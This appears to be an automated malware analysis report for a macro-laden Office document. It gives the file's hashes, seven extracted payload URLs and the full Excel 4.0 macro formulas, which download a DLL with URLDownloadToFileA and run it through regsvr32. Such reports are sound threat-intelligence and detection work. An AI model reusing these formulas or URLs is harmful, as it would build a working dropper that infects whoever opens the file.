General
-
Target
6128b0e7ccab48b6b697fa7a974729023bd33ae6746e7e09a4ddcd29e538ae46
-
Size
21KB
-
MD5
f95853418467b147f4edc735449b9bd9
-
SHA1
57ce786ec7d688454d92608025cc60569b10b91b
-
SHA256
6128b0e7ccab48b6b697fa7a974729023bd33ae6746e7e09a4ddcd29e538ae46
-
SHA512
1bb204a696fc4b7c7a93a963c1b89cd9a808695172c566ffb27ca8f340875f209c8bb3a26544aebb517649a5a003fb335aeb5dc7996c4fbe114ff4ce582cf6fe
-
SSDEEP
384:JDfknuAi/NjA2S8EibbwBlwW5SYrLb5CzgObff9kC+xbX7sbEtF:F4sN3zXuFCBn9kC+xbLb
Malware Config
Extracted
http://buchhave.net/cache/t82rF5S/
https://www.bellaitaliatour.com/gite/YcFHn/
http://brainora.com/brand/Xf7eDVe/
http://breustchabrierarchitectes.fr/bca/CW5pD/
https://biasikazan.hu/system/NZv3MZ0Kji27aPVe/
http://beta.orlandofoodtours.com/wp-content/uploads/mrJcJgcwH8p/
http://bestsafe.co.uk/cgi-bin/S29alEny/
-
formulas
=CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"http://buchhave.net/cache/t82rF5S/","..\rfs.dll",0,0) =IF('PCWV'!G13<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"https://www.bellaitaliatour.com/gite/YcFHn/","..\rfs.dll",0,0)) =IF('PCWV'!G15<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"http://brainora.com/brand/Xf7eDVe/","..\rfs.dll",0,0)) =IF('PCWV'!G17<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"http://breustchabrierarchitectes.fr/bca/CW5pD/","..\rfs.dll",0,0)) =IF('PCWV'!G19<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"https://biasikazan.hu/system/NZv3MZ0Kji27aPVe/","..\rfs.dll",0,0)) =IF('PCWV'!G21<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"http://beta.orlandofoodtours.com/wp-content/uploads/mrJcJgcwH8p/","..\rfs.dll",0,0)) =IF('PCWV'!G23<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"http://bestsafe.co.uk/cgi-bin/S29alEny/","..\rfs.dll",0,0)) =IF('PCWV'!G25<0,CLOSE(0),) =EXEC("C:\Windows\SysWow64\regsvr32.exe -s ..\rfs.dll") =RETURN()
Signatures
-
Suspicious Office macro 1 IoCs
Office document equipped with 4.0 macros.
Files
-
6128b0e7ccab48b6b697fa7a974729023bd33ae6746e7e09a4ddcd29e538ae46